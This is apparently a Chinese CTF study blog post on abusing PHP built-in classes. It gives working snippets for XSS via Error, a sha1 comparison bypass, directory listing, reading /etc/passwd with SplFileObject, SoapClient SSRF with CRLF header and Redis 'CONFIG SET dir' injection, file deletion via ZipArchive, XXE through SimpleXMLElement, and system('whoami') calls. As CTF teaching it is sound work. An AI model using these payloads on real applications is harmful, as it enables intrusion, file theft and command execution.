# 前言
对于原生类的接触主要是在 ctfshow 菜鸟杯上的一道题,师傅用原生类两步就秒了,我还在来回折腾。所以记录一下在网上看到的可利用的原生类。
原生类,顾名思义就是自带的类,不需要事前进行 class 定义。
在 ISCC2022web 题有个就是典型的原生类利用
其中 new 的类和向类中传递的参数都可以自定义,就随便用原生类
# 原生类
# Error/Exception
# XSS
这两个类中都内置了__toString () 方法
<?php | |
$a = new Error("test"); | |
echo $a; |
当执行时,会输出该 “test”
而这个 test 是直接拼接到网页中的,那就有 xss 攻击:
$a = new Error("<script>alert('xss')</script>"); | |
echo $a; |
此时,会把 <script>alert('xss')</script>
直接拼接到 html 中,造成 xss 攻击
确实是当成脚本解析了
# 绕过哈希比较
<?php | |
$a = new Error("payload",1); | |
echo $a; |
在使用类中的__toString () 方法时,向 Error 中传入的 1 并不会显示,这说明在字符串操作时候,只要传入的 “payload” 相同,即视为该字符串相同。
但不同的两个类本质上是不一样的。这样说可能有点绕,来看代码
<?php | |
$a = new Error("payload",1);$b = new Error("payload",2); | |
echo $a . $b; |
注意,把 $a 和 $b 放在同一行定义才能保证 echo 出来的内容一致。
Error: payload in /home/kali/index.php:2 Stack trace: #0 {main}Error: payload in /home/kali/index.php:2 Stack trace: #0 {main} |
可见,两者的字符串是完全一致的,但是进行 var_dump 比对时,两者的值却不相同。
这就让我想起来之前学长布置过的一个 rce:
if((string)$_POST['a'] != (string)$_POST['b'] && sha1($_POST['a']) === sha1($_POST['b'])) |
很不巧,这里是用 post 方法接收值,而且进行了 string 转换,而转换之后的值就一样了,所以没法用这个方法解,学长给出来的 wp 是用读取恶意构造的 pdf 文件以绕过。
但是如果换个题,把应用场景换在类中比较:
if($this->a != $this->b && sha1($this->a) === sha1($this->b)) |
此时就可以用原生类绕过了
$this->a = new Error("payload",1);$this->b = new Error("payload",2); |
# Directorylterator/Filesystemlterator
<?php | |
$dir = $_GET['whoami']; | |
$a = new DirectoryIterator($dir); | |
foreach($a as $f){ | |
echo($f->__toString().'<br>'); | |
} | |
?> |
传入 /?whoami=glob:///*
即可查看根目录下的所有文件
如果不用 foreach 就只能查看第一个
Filesystemlterator 和 DirectoryIterator 的不同是:Filesystemlterator 返回的是以绝对路径显示,而 DirectoryIterator 仅显示当前目录下
# Globlterator
这个类与前两个类似,不过这个查找文件时不需要搭配 glob://
伪协议使用,直接传入路径即可
<?php | |
$dir = "/*"; | |
$a = new GlobIterator($dir); | |
foreach($a as $f){ | |
echo($f->__toString().'<br>'); | |
} | |
?> |
# SplFileObject
可以利用该类读取文件的一行
<?php | |
$context = new SplFileObject('/etc/passwd'); | |
echo $context; |
但是也只能读一行,如果要全部读取要加 foreach 遍历
<?php | |
$context = new SplFileObject('/etc/passwd'); | |
foreach($context as $f){ | |
echo($f); | |
} |
# SoapClient
SoapClient 类中内置了一个__call 方法,触发该方法之后可以发送 http 和 https 请求。这个也可以被运用在 ssrf 中。
public SoapClient :: SoapClient(mixed $wsdl [,array $options ]) |
第一个参数是用来指明是否是 wsdl 模式,将该值设为 null 则表示非 wsdl 模式。
第二个参数为一个数组,如果在 wsdl 模式下,此参数可选;如果在非 wsdl 模式下,则必须设置 location 和 uri 选项,其中 location 是要将请求发送到的 SOAP 服务器的 URL,而 uri 是 SOAP 服务的目标命名空间。
则可以构造:
<?php | |
$a = new SoapClient(null,array('location'=>'http://192.168.255.129:1234/aaa', 'uri'=>'http://192.168.255.129:1234')); | |
$a->a(); | |
?> |
在 192.168.255.129 上给一个 1234 的监听,可以接收到:
POST /aaa HTTP/1.1 | |
Host: 192.168.255.129:1234 | |
Connection: Keep-Alive | |
User-Agent: PHP-SOAP/8.2.0 | |
Content-Type: text/xml; charset=utf-8 | |
SOAPAction: "http://192.168.255.129:1234#a" | |
Content-Length: 388 | |
<?xml version="1.0" encoding="UTF-8"?> | |
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://192.168.255.129:1234" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope> |
如果 HTTP 头存在 CRLF 漏洞,就可以通过 SSRF+CRLF 插入任意 HTTP 头。
payload:
<?php | |
$target = 'http://192.168.255.129:1234'; | |
$a = new SoapClient(null,array('location' => $target, 'user_agent' => "WHOAMI\r\nCookie: PHPSESSID=test", 'uri' => 'test')); | |
$a->a(); | |
?> |
成功插入 cookie:
POST / HTTP/1.1 | |
Host: 192.168.255.129:1234 | |
Connection: Keep-Alive | |
User-Agent: WHOAMI | |
Cookie: PHPSESSID=test | |
Content-Type: text/xml; charset=utf-8 | |
SOAPAction: "test#a" | |
Content-Length: 365 | |
<?xml version="1.0" encoding="UTF-8"?> | |
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="test" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope> |
同理,还可以插入 Redis 命令:
<?php | |
$target = 'http://192.168.255.129:1234'; | |
$a = new SoapClient(null,array('location' => $target, 'user_agent' => "WHOAMI\r\nCONFIG SET dir /var/www/html", 'uri' => 'test')); | |
$a->a(); | |
?> |
也可以发送 POST 数据包,但是要设置 Content-Type
为 application/x-www-form-urlencoded
。
由于 Content-Type
的位置在 UA 底下,就可以通过类中的 UA 插入 Content-Type
,把原来的挤到底下作为 POST 内容
抄的一份 payload:
<?php | |
$target = 'http://192.168.255.129:1234'; | |
$poc = "CONFIG SET dir /var/www/html"; | |
$post_data = 'data=whoami'; | |
$headers = array( | |
'X-Forwarded-For: 127.0.0.1', | |
'Cookie: PHPSESSID=Cookie' | |
); | |
$a = new SoapClient(null,array('location' => $target,'user_agent'=>"UA\n\rContent-Type: application/x-www-form-urlencoded\n\r".join("\n\r",$headers)."\n\rContent-Length: ". (string)strlen($post_data)."\n\r\n\r".$post_data,'uri'=>'test')); | |
$a->a(); | |
?> |
返回的结果:
成功传入了 POST 内容。
# ZipArchive
类下有个 open 方法,可以打开一个新的或现有的 zip 文档进行读取.
ZipArchive::open ( string $filename [, int $flags ] ) : mixed |
flags 可以指定开打的模式:
-
ZipArchive::OVERWRITE
:总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖或删除。 -
ZipArchive::CREATE
:如果不存在则创建一个 zip 压缩包。 -
ZipArchive::RDONLY
:只读模式打开压缩包。 -
ZipArchive::EXCL
:如果压缩包已经存在,则出错。 -
ZipArchive::CHECKCONS
:对压缩包执行额外的一致性检查,如果失败则显示错误。
如果指定 flags 为 ZipArchive::OVERWRITE
,就可以把指定文件删除。
$a = new ZipArchive();
$a->open('1.txt',ZipArchive::OVERWRITE);
由于没有保存,所以最后的效果就是把 1.txt 删除
# SimpleXMLElement
这个类用于解析 XML 文档中的元素。
官方文档中对于 SimpleXMLElement 类的构造方法 SimpleXMLElement::__construct
的定义如下:
public SimpleXMLElement::__construct( | |
string $data, | |
int $options = 0, | |
bool $dataIsURL = false, | |
string $namespaceOrPrefix = "", | |
bool $isPrefix = false | |
) |
$data
:格式正确的 XML 字符串,或者 XML 文档的路径或 URL(如果 $data_is_url
为 true)。
$data_is_url
:默认情况下 $data_is_url
为 false。使用 true 指定 $data
的路径或 URL 到一个 XML 文件,而不是字符串数据。
可以看到通过设置第三个参数 $data_is_url
为 true
,我们可以实现远程 xml 文件的载入。第一个参数 data 就是我们自己设置的 payload 的 url 地址,即用于引入的外部实体的 url。
当可以控制目标的调用的类的时候,就可以通过这个类进行 XXE 攻击。
攻击的手法:
一篇文章带你深入理解漏洞之 XXE 漏洞 - 先知社区 (aliyun.com)
# Reflection
# ReflectionMethod
该类中有个 getDocComment()
方法,可以获得类中函数的注释内容。
<?php | |
include('flag.php'); | |
highlight_file(__FILE__); | |
$a = new ReflectionMethod('F','get'); | |
?> |
输出
# ReflectionClass
能显示出类中的属性和方法:
<?php | |
highlight_file(__FILE__); | |
class F{ | |
protected $pro; | |
private $pri; | |
protected function get(){ | |
echo 'pro'; | |
} | |
} | |
$ref = new ReflectionClass('F'); | |
echo $ref; | |
?> |
# ReflectionFunction
<?php | |
$a = "system"; | |
$b = "whoami"; | |
$func = new ReflectionFunction($a); | |
echo $func->invokeArgs(array($b)); | |
?> |
# 动态调用
学习中看到别人的博客经常提到 “动态调用”,因此去了解了一下。
PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。
当给一个函数名赋值给一个变量时,可以通过调用这个变量来调用这个函数。
浅显一点的有:
<?php | |
$a = "system"; | |
$b = "whoami"; | |
($a)($b); | |
?> |
这样相当于直接执行了 system(whoami)
命令。
复杂调用有:
<?php | |
class F{ | |
public function sys($exec){ | |
system($exec); | |
} | |
} | |
$n = new F(); | |
$a = array($n,"sys"); | |
$b = "whoami"; | |
$a($b); | |
?> |
其中通过数组来调用 F 类中的 sys 函数,并把 whoami
赋值给 $b,传到了 F 类中的 sys 函数。
# 参考
CTF 中 PHP 原生类的利用 – JohnFrod's Blog